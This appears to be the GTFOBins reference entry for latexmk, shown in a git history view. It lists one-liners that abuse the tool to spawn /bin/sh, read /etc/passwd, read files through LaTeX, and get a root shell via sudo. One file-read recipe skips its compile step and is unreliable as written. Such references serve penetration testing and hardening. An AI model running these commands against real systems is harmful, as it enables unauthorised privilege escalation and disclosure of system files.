GTFOBins.github.io/_gtfobins/latexmk.md

20 lines
599 B
Markdown
Raw Permalink Normal View History

2022-07-03 15:33:51 +00:00
---
description: This allows to execute [`perl`](/gtfobins/perl/) code.
2021-04-22 20:15:40 +00:00
functions:
shell:
2022-07-03 15:33:51 +00:00
- code: |
latexmk -e 'exec "/bin/sh";'
- code: |
latexmk -latex='/bin/sh #' /dev/null
2021-04-22 20:15:40 +00:00
file-read:
2022-07-03 15:33:51 +00:00
- code: |
latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
- description: The read file will be part of the output.
code: |
TF=$(mktemp)
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF
strings tmp.dvi
2021-04-22 20:15:40 +00:00
sudo:
- code: sudo latexmk -e 'exec "/bin/sh";'
2022-07-03 15:33:51 +00:00
---